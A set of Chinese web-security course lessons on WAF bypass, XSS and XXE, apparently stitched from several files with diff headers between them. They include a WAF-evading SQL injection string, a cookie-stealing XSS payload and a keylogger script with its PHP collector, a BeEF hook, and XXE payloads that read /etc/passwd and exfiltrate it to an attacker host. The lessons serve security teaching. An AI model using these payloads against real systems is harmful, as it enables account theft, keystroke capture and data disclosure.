靶场已经集成在谜团上的“极客时间-漏洞挖掘与智能攻防实战”里。
我们打开题目ReDoS运行靶机。当我们的输入如下内容
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
系统会出现卡顿过了一段时间后会出现匹配失败回溯次数已用尽的提示信息。这是因为PHP内置了正则匹配的回溯上限次数当回溯次数超出该限制时就会返回匹配失败。
这样的限制可以在输入检测失效的情况下减轻ReDos对PHP应用的影响。
接下来我们一起看一个绕WAF的实例。
案例二一个绕WAF的实例
这个WAF是最新版本的安全狗V4.0网页APACHE版。我们可以在谜团上打开靶场安全狗4.0。之后访问该网页的目录inject.php它的代码如下
*<?php*
$id = $_GET['id'];
$con = mysql_connect(“localhost”,”root”,”root”);
*if* (!$con){*die*(Could not connect: . mysql_error());}
mysql_select_db(“dvwa”, $con);
$query = “SELECT first_name,last_name FROM users WHERE user_id = $id; “;
$result = mysql_query($query)*or* *die*(<pre>.mysql_error().</pre>);
*while*($row = mysql_fetch_array($result))
{
*echo* $row[0] . “&nbsp” . $row[1];
*echo*<br />”;
}
*echo*<br/>”;
*echo* $query;
mysql_close($con);
*?>*
我们尝试使用payload为
?id=1' and 1=2 union select database(),2 --+
会发现被安全狗拦截了,但我们对它进行修改为:
?id=1'//*!14400and*//1=2//*//*//union//*!88888cas*//*/%0a*a*//select//**//*//*//database(//*%%!AJEST%%%%*//),2//**/--+/
注意,其中/*! ….*/是MySQL为了保持兼容它把一些特有的仅在MySQL上用的语句放在了/*!….*/中目的是这些语句在其他数据库中是不会被执行但在MySQL中会被执行。
利用这个组合我们就能绕过WAF成功获取到当前的数据库的名称。
既然有这么多WAF绕过方式那么在安全实践中WAF厂商是如何防范自己的WAF被绕过的呢
安全实践如何防范自己的WAF被绕过
Web服务器在对外提供各种应用服务时经常会遇到这样的情况请求的payload经过混淆或者编码想要绕过Web安全防火墙。如果在HTTP请求中添加编码很可能会绕过WAF规则导致数据泄露风险。那本应该被拦截的请求还是得到了对应的响应数据。
通常云WAF厂商都会自研解码引擎。针对不同使用场景比如互联网、金融、政企提供不同的解码组合方案。
我们以具有代表性的华为云WAF为例看看他们的解码说明。
可以看到华为云WAF可以做到将11种编码还原使得通过这些编码/混淆绕过WAF的方法变得无效。
我们再看一个例子基于nginx+lua实现针对http payload编解码操作来加深理解。
#uri转码
local function _uri_decode(value)
local value = tostring(value)
return ngx.unescape_uri(value)
end
local function _uri_encode(value)
local value = tostring(value)
return ngx.escape_uri(value)
end
这是对URI解码以及编码的操作。在接收到payload后进行URI解码可以帮助WAF系统判断出借助URI编码尝试绕过的攻击行为从而使得该WAF的防御效果更好。
好了到这里我们对几种失效的输入检测以及其中的巨大危害都了解得比较清楚了。那么除了云厂商自己的WAF绕过安全实践外还应该如何检测这些漏洞呢
应对失效的输入检测的方式
对于输入验证问题我们可以用多种方法来检测它。常见的方法有4种包括静态分析、模糊测试、源代码分析、架构及设计审查。
一般来讲这4种方式虽然都致力于解决失效的输入检测问题但是它们各自擅长的领域是不同的比如即使经过源代码分析模糊测试依然能够发现新的问题而单纯通过模糊测试也很有可能无法覆盖到源代码分析这种白盒测试的结果。因此这4种方式组合使用的效果更好。
接下来我们一一学习下这4种方式。
静态分析
使用自动静态分析,可以检测到一些不正确的输入验证情况。
有的静态分析工具,允许用户指定应用的类型,针对用户选择的应用类型运行特定的检测方法。
有的静态分析工具还会内置比较知名的验证框架的信息例如Struts框架。如果这个工具分析判断出某个输入验证调用了已知的框架那就可以降低该框架有效验证的探测的优先级。进而允许设计者专注于软件中输入验证的盲点位置。
模糊测试
除了静态分析之外,模糊测试技术也可以用来检测输入验证是否存在错误。当我们向一个软件提供意外的输入时,软件可能会变得“崩溃”、不稳定,并且可能会生成应用程序控制的错误消息。
如果出现这些异常或者解释器生成了错误信息,那就表明应用程序对输入的检查和处理并未达到应用程序内在的逻辑需求。
源代码分析
我们还可以使用源代码弱点分析器对源代码进行自动分析,当然我们也可以不利用工具,亲自进行手动分析。
架构及设计审查
除了静态分析、模糊测试和源代码分析方法外我们还可以在架构及设计审查时检查输入验证的正确性。具体方法是根据标准对系统进行检查IEEE 1028 标准)(可应用于需求、设计、源代码等)、形式化方法/正确构造、攻击建模等方法。
总结
到这里,我们就把失效的输入检测相关的内容学习完了。
在第19和第20讲这两节课里我和你分享了6种失效的输入检测并展开了其中比较复杂的WAF及绕过。我把这些知识点给你放到了一张脑图中你可以保存下来随时查看。
对于WAF绕过我们今天学习的也只是9种常见的方式。但不论是哪种方式绕过的核心思想都是运用WAF和服务端的协议解析差异使得服务端解析了我们的消息而WAF无法解析所以跳过检测。
思考
在这一节课我们学习了很多WAF绕过方式但是WAF绕过与反绕过一直是在对抗升级的只学习这些技巧还远远不够那么从攻击者视角来看WAF绕过的本质是什么呢利用的本质问题又是什么呢
欢迎在评论区留下你的思考。如果你觉得今天的内容对你有所帮助的话,欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,178 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
21 XSS前端攻防的主战场
你好,我是王昊天。
如今我们开发一个Web应用需要用到前端和后端两部分。其中前端主要用于数据的渲染将信息更好地展示给我们后端则需要获取数据将合适的信息展示给我们。只有前端和后端一起合作才能构建出一个优秀的Web应用。
在之前的课程中我们学习了SQL注入、命令注入这两种注入攻击它们都是针对Web后端的攻击。那么注入攻击可以针对前端执行吗答案是肯定的今天我们要学习的XSS即跨站脚本攻击就是针对前端的攻击方式下面让我们开始对它的学习吧。
XSS介绍
XSS即跨站脚本攻击是OWASP TOP10之一。它的全称为Cross-site scripting之所以缩写为XSS是因为CSS这个简称已经被占用了。这就是XSS名称的由来。
XSS攻击的原理为浏览器将用户输入的恶意内容当做脚本去执行从而导致了恶意功能的执行这种针对用户浏览器的攻击即跨站脚本攻击。它的攻击方式可以分为三种类型我在下图将它们列举出来了。
下面让我们进一步来学习它的攻击方式吧。
反射型XSS
当应用程序将收到的用户输入直接作为HTML输出的一部分时并且未经验证或转义攻击者就可以输入一些JavaScript脚本使得受害者的浏览器执行任意的JavaScript代码。这就是反射型XSS攻击之所以称之为反射型XSS是因为这种攻击需要用户提供一个恶意输入然后页面据此进行反射执行攻击的命令。
为了加深你的理解,我们一起来看一个示例。
上述是一个反射型XSS注入的靶场我们需要在其中输入并上传两个参数First name以及Last name然后该Web应用在接收到上传的参数后会将它们显示在页面上如Welcome firstname lastname。
查看页面的元素我们可以看到输入的参数直接被放在HTML的body中。
<body>
# ...
<div id="main">
# ...
"Welcome first name last name"
</div>
由于页面中没有对我们的输入进行限制导致了我们可以直接在First name中输入alert(1)在Last name中随意输入任何字符串例如abc这样就能导致XSS攻击。
可以看到我们输入的恶意JavaScript脚本alert(1)已经执行成功,弹出了一个警告框。我们再次检查页面的源代码,发现如下所示:
<body>
# ...
<div id="main">
# ...
" Welcome “
<script>alert(1)</script>
” abc "
</div>
我们在First name中输入的恶意脚本被解析为JavaScript命令所以我们的攻击成功了。
上面例子中的行为看似是我们自己在攻击自己但事实上也可以攻击别人使得别人在访问一个页面时受到我们发起的XSS攻击。你可以想一想要如何利用反射型XSS攻击别人
事实上我们发送的First name以及Last name都是通过GET方式上传的参数而在之前的学习中我们知道以GET方式上传的参数会出现在链接中例如我们将First name设为alert(1)将Last name设为abc那么对应的恶意链接就如下所示
http://1e2b92939584409b89297897efdf1599.app.mituan.zone/xss_get.php?firstname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=abc&form=submit
我们只需要将这个恶意链接发送给要攻击的目标即可,这样只要受害者点击链接,那么恶意命令就会在受害者的浏览器执行。
上述示例中Web没有对我们的输入做任何限制使得我们的JavaScript脚本顺利执行接下来我们来看反射型注入如果受到限制该如何破解呢
例如这个示例中我们输入一个JavaScript脚本但是它就不会被执行通过查看页面源代码
<p>Hello <script>alert(1)</script>, please vote for your favorite movie.</p>
我们可知它不会被执行的原因是将我们的输入包裹起来了在HTML中这代表了限制其中包裹的内容为文本那么这里你有什么好办法来绕过这个限制吗
比如类似SQL注入中的闭合操作没错我们可以将它的标签闭合起来构造输入如下
# 输入为:
</p><script>alert(1)</script><p>
# 响应的html变为
<p>Hello </p><script>alert(1)</script><p>, please vote for your favorite movie.</p>
这样我们就可以将标签闭合成功执行我们的JavaScript恶意代码。
从上述内容中我们可以知道反射型XSS具有非持久化的特点因为用户必须点击带有恶意参数的链接才能引起这个攻击。同时它的影响范围很小只有那些点击了恶意链接的用户才会受到它的攻击。
接下来让我们进入到另一种更危险的XSS攻击中——存储型XSS攻击。
存储型XSS
存储型XSS是指应用程序通过Web请求获取不可信赖的数据在未检验数据是否存在XSS代码的情况下便将其存入数据库。当下一次从数据库中获取该数据时程序也没有对其进行过滤使得页面再次执行XSS代码。与反射型XSS不同的是存储型XSS可以持续攻击用户。
攻击者想要发起存储型XSS攻击首先需要将恶意代码进行上传上传的位置主要有留言板、评论区、用户头像、个性签名以及博客。如果Web应用没有限制上传的内容并且将该内容存储到了数据库中那么存储型XSS就成功了第一步。
接下来想要使得存储型XSS攻击生效还需要让Web应用去读取之前存储的恶意代码。这其实很简单我们可以想一想留言板我们只要上传一条留言那么每次去访问这个留言板时系统就会自动去读取之前上传的所有数据并在页面上显示出来。当然系统可能会对读取的数据做一定的限制如果我们的恶意代码没有被限制那么我们的存储型XSS攻击的第二步也就成功了。
完成了读取后系统会将内容进行解析读取如果解析的时候没有成功限制住我们的恶意代码那么我们之前存储的恶意命令将被执行。存储型XSS攻击也就成功啦
下面让我们一起看一个示例来加深一下对存储型XSS攻击的理解。
在这个示例中Web应用选择的为一个博客我们可以在此输入一个恶意命令作为博客并且进行上传。例如我们输入alert(1)点击上传之后页面会刷新并且弹出警告框1之后这个页面每次被访问都会引起恶意命令的执行。
从结果我们知道我们的恶意命令成功执行这代表了我们的恶意输入被上传到数据库中并且Web应用读取了它将它解析出来。
根据我们对存储型XSS攻击的了解我们不难知道它的危害性是远远高于反射型XSS攻击的。因为它的影响范围远远高于反射型XSS它会影响到所有访问到受攻击Web页面的用户。
完成了存储型XSS攻击的学习后接下来让我们接着学习DOM型XSS攻击。
DOM型XSS
首先我们需要知道什么是DOMDOM就是文档对象模型它可以将文档解析成一个由节点和对象包含属性和方法的对象组成的结构集合。简单来讲它会将Web页面和脚本程序连接起来。
DOM型XSS攻击其实是一种特殊类型的反射型XSS通过JavaScript操作DOM树动态地输出数据到页面而不依赖于将数据提交给服务器端它是基于DOM文档对象模型的一种漏洞。
根据之前的学习我们可以明白在DOM型XSS中整个过程和后端无关它完全是基于前端的攻击所以当我们遇到要绕Waf的时候就可以使用这种攻击因为Waf是基于后端进行拦截的。
DOM型XSS的攻击方式其实与反射型XSS很相似它们都是没有控制好输入并且把JavaScript脚本作为输出插入到HTML页面。不同的是反射型XSS经过后端语言处理后页面引用后端输出生效。而DOM型XSS是经过JavaScript对DOM树直接操作后插入到页面。相比于反射型XSS攻击它的危害性更大因为它不经过后端所以可以绕过Waf的检测。
下面让我们从实战中更深入地学习DOM型XSS攻击。
实战演练
在这个案例中该靶场已经搭建于谜团中你可以访问DVWA靶场进行实战测试。
我们在登录后选择DVWA Security为low然后打开XSS(DOM)靶场。
打开后发现了一个选择框我们无法从这里进行输入通过点击Select按钮我们从链接中可以发现它是通过GET方式上传的参数。
http://51277f5dd0db4fd0a6272f5f647b27b8.app.mituan.zone/vulnerabilities/xss_d/?default=English
这就给了我们输入的机会,然后进一步观察页面的源代码,对此进行分析。
if (document.location.href.indexOf(“default=“) >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf(“default=“)+8);
document.write(“<option value=‘” + lang + “’>” + decodeURI(lang) + “</option>”);
document.write(“<option value= disabled=disabled>——</option>”);
}
从源代码中我们可知这个页面属于DOM型XSS攻击它没有经过后端处理是直接用document.write函数将输入显示在页面中并且没有做任何限制。因此我们可以用下述链接执行我们的攻击命令
http://51277f5dd0db4fd0a6272f5f647b27b8.app.mituan.zone/vulnerabilities/xss_d/?default=<script>alert(1)</script>
可以看到,我们的攻击已经成功,一个警告框已经弹出来了。
总结
在这节课里我们首先了解了什么是XSS攻击并且知道它主要可以分为三种不同的类型包括反射型XSS、存储型XSS以及DOM型XSS。之后我们对它们分别展开了具体的学习。
在对反射型XSS的学习中我们知道反射型XSS的攻击需要用户提供一个恶意输入然后页面据此进行反射执行攻击的命令。同时我们也知道了当我们的输入被HTML标签限制住可以用闭合的方法来解除它的限制。反射型XSS具有非持久化的特点因为用户必须点击带有恶意参数的链接才能引起这个攻击同时它的影响范围很小只有那些点击了恶意链接的用户才会受到它的攻击。
之后我们学习了危害性更大的存储型XSS存储型XSS是指应用程序通过Web请求获取不可信赖的数据在未检验数据是否存在XSS代码的情况下便将其存入数据库。当下一次从数据库中获取该数据时程序也没有对其进行过滤使得页面再次执行XSS代码。与反射型XSS不同的是存储型XSS可以持续攻击用户我们每次访问被攻击的Web页面都会受到这个攻击的影响。
最后我们学习了DOM型XSS攻击经过学习我们知道DOM型XSS攻击其实是一种特殊类型的反射型XSS通过JavaScript操作DOM树动态地输出数据到页面而不依赖于将数据提交给服务器端它是基于DOM文档对象模型的一种漏洞。它与反射型XSS不同的是反射型XSS经过后端语言处理后页面引用后端输出生效。而DOM型XSS是经过JavaScript对DOM树直接操作后插入到页面。相比于反射型XSS攻击它的危害性更大因为它不经过后端所以可以绕过Waf的检测。
思考
最后留给你一道思考题XSS攻击有什么防范方法吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

View File

@ -0,0 +1,205 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
22 XSS跨站脚本攻击的危害性
你好,我是王昊天。
在上一节课程中我们学习了什么是XSS攻击并且介绍了XSS攻击的不同种类。在攻击示例的代码中我们仅仅是让网页弹出一个警告框看上去XSS攻击并没有什么作用但实际上它的危害性是比较大的。你会好奇XSS攻击会造成哪些危害吗
这节课,让我们一起来深入了解一下。
XSS攻击的危害
XSS攻击的危害主要包括四种类型我已经将它们整理在下图中它们分别是盗取cookie、按键记录和钓鱼、广告植入以及欺骗跳转。
首先我们来学习具有代表性的XSS攻击利用盗取cookie看看攻击者是如何用XSS攻击实现对cookie的窃取。
盗取cookie
cookie在英文中的意思为甜品、饼干不过这里盗取cookie可不是偷饼干的意思哦。在HTTP请求中cookie代表着登录信息我们在Web应用登录成功后服务器端会生成一个cookie。然后服务器端会将这个生成的cookie发送给我们供我们之后访问的时候使用。
如果攻击者拿到cookie信息了那他就可以实现登录我们的账号这是非常危险的所以我们平时需要保护好我们的cookie信息。
在了解完cookie是什么之后让我们用一个示例一起看看XSS攻击是如何获得cookie信息的。
这是一个DVWA靶场我们在登陆后选择DOM型XSS获得如下页面
在上一讲的实战部分中我们成功的对这个页面进行了XSS注入攻击其中使用的payload为
<script>alert(1)</script>
在之前的学习中我们知道它可以让页面弹出一个警告框但如果我们将这个payload改为如下
<script>var pic=document.createElement("img");pic.src="http://127.0.0.1:2222/getCookie?"+escape(document.cookie)</script>
这个payload会调用JavaScript创建一个Element对象之后将这个对象的src设置为我们监听的地址端口向这个地址用GET方式上传参数document.cookie这样我们就能窃取到用户的cookie啦。
可以看到我们已经收到这个GET请求了它的cookie值也被我们接收到了。
到这里你已经学习了用XSS攻击来盗取cookie的用法。接下来让我们来学习如何用XSS攻击实现按键记录以及钓鱼。
按键记录和钓鱼
首先我们来看看如何实现按键记录。
我们仍然选择DVWA的XSS(DOM)靶场做测试只需要更换payload即可将payload设置为
<script src=http://192.168.3.193/keylogger.js></script>
这段代码可以去调用远程地址中的JavaScript文件使得keylogger.js中的代码被执行。这里的keylogger.js的内容为
document.onkeypress = function(evt) {
evt = evt || window.event;
key = String.fromCharCode(evt.charCode);
if(key) {
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://192.168.3.193/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
它创建了一个监听按键的事件这个事件可以记录用户在当前页面按下的每一个键并将接收到的按键通过POST方式上传到攻击者用来存储按键记录的服务器上。其中keylogger.php的代码为
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
它可以将接收到的key记录到keylog.txt文件中这样就能实现按键记录的功能了。
我们胡乱的在被攻击的页面按下一些键发现我们用来记录按键的服务器已经获取到了按键内容并将它们存储在keylog.txt中。
我们还可以将这个按键记录做一下加工使得用户可以输入一些敏感信息例如账号、密码等信息。我们可以用JavaScript创建出一个伪造的登陆框这样用户很可能会上当在这里输入自己的用户名和密码我们可以利用之前的按键记录获取到这些信息。这种行为就是钓鱼攻击因为它本质上和钓鱼非常类似在钓鱼中我们就会利用鱼饵将锋利的鱼钩伪装成美味的食物这样就能骗得鱼儿上钩。
相信到这里你已经明白了如何用XSS攻击来实现按键记录以及钓鱼。接下来让我们学习用XSS实现广告植入的方式吧。
广告植入
想要做广告植入那我们需要用存储型XSS注入这样就可以使得所有访问受攻击页面的用户都会看到广告。
这里我们选择用DVWA的存储型XSS作为示例如下图这里需要输入一个姓名和消息。
经过测试后我们发现这个Message框内会受到XSS攻击于是直接可以将负载改为
<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='1000' height='2000' allowTransparency src=https://time.geekbang.org/course/detail/100055001-283034></iframe>");</script>
这段恶意负载可以在当前页面以行的方式输出src对应的内容这样我们把广告的地址设置为src即可。可以看到广告已经弹出这就是用XSS实现广告植入的方法。
在测试的过程中你可能会发现我们无法输入完整的负载这是因为DVWA对这个输入框有长度限制我们有两种方法可以绕过这一输入限制。
第一种我们先随意输入符合长度要求的Message内容之后用BurpSuite去进行拦截修改将Message的内容修改为我们想要设置的恶意负载这样就可以绕过输入长度限制。
第二种我们可以去修改页面的限制代码首先在Message输入框内右键选择检查这样关于它的代码就会高亮显示。
在图中我们可以看到它限制了最多输入50个字符我们可以将这个数字改为1000或者更大来满足我们对负载长度的要求。修改过后我们就可以任意输入想要的负载啦。这里也是在前端进行的修改。
下面让我们继续学习XSS的危害类型看看如何用XSS去实现欺骗跳转。
欺骗跳转
有的网页希望增加访问量或者吸引用户访问那么就可能会用XSS攻击来实现这一目的。下面我们继续以DVWA靶场中的存储型XSS作为示例。
为了实现欺骗跳转,我们需要将负载设置为:
<script>window.location.href=跳转的目的地址;</script>
这段负载也是JavaScript代码它可以使得当前页面跳转到设置的目的地址这就是跳转产生的原因。注意这里同样是需要绕过输入长度的限制的哦。
这样,当我们访问被攻击的页面时,页面会自动跳转到攻击者设置的地址中,如果攻击者将这个地址伪造为被攻击的页面,那么很容易迷惑访问用户,使得用户认为这就是被攻击的页面,但事实上,用户已经落入到攻击者的圈套之中了。
这就是用XSS实现欺骗跳转的方法。到这里你已经学完了常见的XSS攻击利用方法事实上这就是一个任意JavaScript命令执行漏洞我们只要更换不同的JavaScript语句就可以实现这些攻击行为。
上述内容都是我们对XSS攻击的手动利用接下来让我们来学习一款XSS攻击自动利用神器——BeEF。
BeEF的使用
我们都知道Beef是牛肉的意思这款名为BeEF的软件也是非常牛的。我们利用它可以进行各种各样的攻击操作并且不需要我们手动进行一些负载的设计下面让我们一起来学习它吧。
首先我们要来安装这款软件我们可以在kali虚拟机中使用 sudo apt install beef-xss 进行BeEF的安装如果失败那么我们运行 sudo apt-get update 进行apt的更新然后重新安装即可。
安装完成之后,我们就可以用命令 sudo beef-xss 来打开这个软件可以看到它会自动弹出一个Web页面这就是这个软件的用户界面。
我们选择DVWA的存储型XSS攻击来做测试让你可以更好地理解这款工具。
那么在利用BeEF前我们首先需要进行XSS攻击。
和之前我们手动攻击一样需要在Message框内输入恶意负载由于我们BeEF工具所在的服务器地址为192.168.3.101,所以我们将负载设置为:
<script src="http://192.168.3.101:3000/hook.js"></script>
这样每当这个页面被访问时都会触发我们注入的JavaScript代码使得页面向我们的恶意服务器请求hook.js文件其中你可以简单认为hook.js文件是BeEF的一个接口之后我们在BeEF调用的命令都是通过这个接口来实现的。
完成了接口的设置之后我们在BeEF的页面可以看到BeEF中的Hooked Browsers一栏已经显示出被攻击的目标。
这里192.168.3.124是我搭建的DVWA靶场的地址代表的是被攻击服务器IP而192.168.3.102代表的是访问被攻击服务器的用户机器的IP。我们点击Current Browser就可以进行我们想要的攻击行为啦。
首先我们选中Commands这一栏然后根据描述选择其中我们想要发起的攻击行为例如GET Cookie。
可以看到我们已经获取到了cookie信息。这比我们手动去获取cookie简单很多。
这就是BeEF的用法介绍当然它具有很多有趣的攻击功能下面我再介绍它的一个功能那就是改变页面内容。
我们可以在Deface Content中对内容进行设置然后点击执行按钮可以发现我们的DVWA靶场已经变为了刚刚设计的内容。
其实BeEF的非常强大它具有几百个不同的攻击命令你可以一一尝试去把玩它们。
总结
在这节课程中我们可以感受到XSS攻击的可怕之处并且清楚了它的危害性。
首先我们学习了对XSS攻击的手动利用包括了盗取cookie、按键记录和钓鱼、广告植入以及欺骗跳转这些不同的攻击手段。但事实上我们都是利用的JavaScript代码注入页面中一切JavaScript代码可以实现的功能我们都能实现。所以实现XSS攻击的能力和JavaScript的掌握程度息息相关。
然后我们学习了XSS攻击神器——BeEF利用它我们不需要再亲自构造JavaScript代码而是利用设计好的代码直接发起我们想要的攻击行为这给我们带来了极大的便利。
思考题
除了这节课中提到的XSS攻击种类你还能想到别的攻击种类吗
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,283 @@
因收到Google相关通知网站将会择期关闭。相关通知内容
24 资源注入:攻击方式为什么会升级?
你好,我是王昊天。
在我们浏览Web应用的时候我们可以看到很多不同的信息并且它们会以不同的样式展现给我们。Web开发者为了方便数据的管理和维护往往会将数据内容和前端设计分开。XML会在这个过程中扮演很重要的角色。
XML即可扩展标记语言它的名称来自eXtensible Markup Language的缩写。XML与HTML不同它仅仅被设计用来传输和存储数据不负责数据的显示。值得一提的是它被广泛应用于各种Web应用中为数据的读取提供了极大的便利。
可是XML在给我们带来便利的同时也带来了一些安全性的问题今天让我们一起来学习它带来的安全问题吧
XML外部实体注入
XML带来的安全问题主要是XML外部实体注入即XML external entity (XXE) injection我们简称为XXE。在对这一漏洞进行学习之前我们首先来学习XML的基础知识。
XML可扩展标记语言
XML的意思为可扩展标记语言它是负责数据的传输和存储的。为了让你更好地理解它我们直接来看示例。
# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述,它的根元素为`note`。
<note date="2022/02/08">
<to>LiYang</to>
<from>WangHua</from>
<heading>Email</heading>
<body>Welcome to China!</body>
</note>
这就是一个简单的XML语句你可能看不懂它但不要着急我来给你解释一下。
代码第一行的内容为XML语言的声明它定义了XML版本1.0以及所使用的编码ISO-8859-1。完成声明之后就可以开始存储数据了可以看到它包含了很多的标签其中note标签是它的根节点在根节点下面有很多标签如、等这些标签的名字可由我们自由设定标签中夹的内容为标签对应的数据这可以方便Web应用去获取。
其中note标签中包含了一个date属性标签中的属性主要用来记录数据的元数据例如数据的编号等。数据本身则应该存储为元素所以我们最好将上述XML代码改为如下
# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述,它的根元素为`note`。
<note id="1">
<date>2022/02/08</date>
<to>LiYang</to>
<from>WangHua</from>
<heading>Email</heading>
<body>Welcome to China!</body>
</note>
这样XML代码就更加符合规范。当然XML代码也是存在一定的形式要求的那就是XML验证我们先来看看对于XML的形式要求是什么。
第一个要求为XML文档必须要有根元素在上述代码示例中note即为根元素。符合这一个要求后验证程序会去检验XML文档中必须有关闭标签即有了就必须要有并且标签中的字母大小写要一致。最后验证程序会去判断XML是否被正确嵌套了并且它标签中的属性值是否加了引号。
当一个XML文档符合上述形式要求后它还需要满足一个文档类型定义即DTD的语法规则接下来让我们一起来学习它。
DTD文档类型定义
DTD的作用为定义XML文档的合法构建方式为了让你更好地理解它下面让我们一起来看一个示例
<!DOCTYPE note [
<!ELEMENT note (date,to,from,heading,body)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
在上述DTD代码中第一行定义了这是对哪种类型的根元素的限制如在上述示例中就是对note类型的限制。然后规定了这个节点下面有哪些子标签并且对每个标签的内容进行定义示例中将每个标签的内容都规定为PCDATA即解析字符数据。
完成了DTD的编写之后Web应用在处理XML文档时就会开始判断XML是否合法如果合法就会处理这个文档否则就不会继续处理这个文档。一般来说DTD文档既可以被写在XML文档内也可以通过外部引用进行导入它的导入方式如下
<!DOCTYPE note SYSTEM "http://www.example.com/example.dtd">
#其中 example.dtd文件为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
这段代码引入了外部DTD文件这里是一个安全隐患。到这里你可能会好奇DTD不就是做一些检测工作会导致什么安全问题呢
事实上这个DTD文档还有一个实体声明的功能它的这一功能也就是导致我们今天所讲的XXE漏洞的主要原因。接下来让我们一起来重点看看它吧。
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量这么说可能会有点抽象下面我们一起看一个示例这样理解起来就会简单些。
<?xml version="1.0"?>
<!DOCTYPE example [
#<!ENTITY 实体名称 “实体的值”>
<!ENTITY to "LiHua">
]>
<example>&to;</example>
在这个示例的DTD语句中定义了一个实体to并让它的值为LiHua然后在XML语句中可以用&to调用这个实体。
这是一个内部实体声明因为实体的值已经被写在了XML语句中它其实还支持外部实体声明具体的实现方式为
#<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY to SYSTEM "http://example.com/example.dtd">
这个功能就是我们今天所讲的XXE的罪魁祸首攻击者就是通过DTD外部实体声明来实现外部实体注入的。
XML外部实体注入的产生原因
如果Web应用存在外部实体注入问题那么攻击者可以构建负载如下
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
如果页面解析了其中c标签的内容并将它输出在Web页面上那么攻击者就可以读取到隐私文件passwd里的内容这是非常危险的。
当然攻击者也可以利用DTD文档引入外部DTD文档然后再引入外部实体声明这样需要的XML内容为
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evial_ip.com/evil.dtd">
<c>&b;</c>
其中外部的evil.dtd文件的内容为
<!ENTITY b SYSTEM "file:///etc/passwd">
这样也是可以实现输出隐私文件passwd的功能。除此之外攻击者还可以通过DTD外部实体声明引入外部实体声明这有点类似于套娃了不过它也是一种可行的方式让我们一起来看看吧。
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://example.com/example.dtd">
%d;
]>
<c>&b;</c>
#example.dtd的内容为
<!ENTITY b SYSTEM "file:///etc/passwd">
注意这里的%d它是一个参数实体。Web应用在解析这个XML文件时会首先将%d的值设置为example.dtd中的内容然后调用%d将example.dtd的运行结果赋予给b并将它输出到标签中。
以上内容就是XML外部实体注入的产生原因下面我们一起来学习它有哪些危害吧。
XML外部实体注入的危害
XML外部实体注入会有很多危害例如隐私文件获取以及发起SSRF攻击。让我们看一下它的攻击方式。
XXE隐私文件获取
在之前学习XXE攻击方式的过程中我们用XXE攻击来获取passwd文件。其实这就是XXE获取隐私文件的攻击方式。
在之前的示例中我们默认了页面会将我们设置的XML内容进行输出但实际上Web应用往往不会输出我们注入的XML内容。这时候就是XXE盲注我们需要借助一些技巧来将文件的内容展示出来。
面对XXE盲注时我们可以利用带外的方法来获取数据
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
在上述示例中我们将获取到的数据通过get方式发送到攻击者的服务器这样攻击者可以查看服务器接收到的请求获取到想要的数据。
当然,我们还可以利用报错信息来输出想要获取的数据:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
在这个示例中我们将引入了error参数XML会去访问一个不存在的文件导致错误的产生并将错误信息给eval由于文件路径中存在我们需要的数据file这样就会导致Web应用显示出错信息并且其中包含我们需要的数据。我们可以看一个示例输出
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
XXE发起SSRF攻击
SSRF攻击即为服务端请求伪造我们可以利用XXE来实现。首先我们先来看一个示例这样可以帮助我们理解它的攻击方式。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
这是我们需要注入的XML代码Web应用在解析它的时候会向其中的链接发出请求并且这个请求是由被攻击Web应用的服务器所发送的这就是SSRF攻击。
它到底有什么作用呢我们可以利用它来判断Web应用服务器内网地址的开启情况只需要将链接改为服务器的内网地址然后根据响应的内容就可以判断内网地址是否开放这会对内网的安全产生威胁。
在了解完XXE的攻击方式后让我们进入到实战部分来切身体会下XXE攻击的危害吧。
实战演练
在实战过程中我们选用靶场bwapp做测试需要注意的是我们要将bwapp靶场中的xxe-2.php文件中的内容作修改将$xml的值改为如下
$xml = simplexml_load_string($body,'SimpleXMLElement',LIBXML_NOENT);
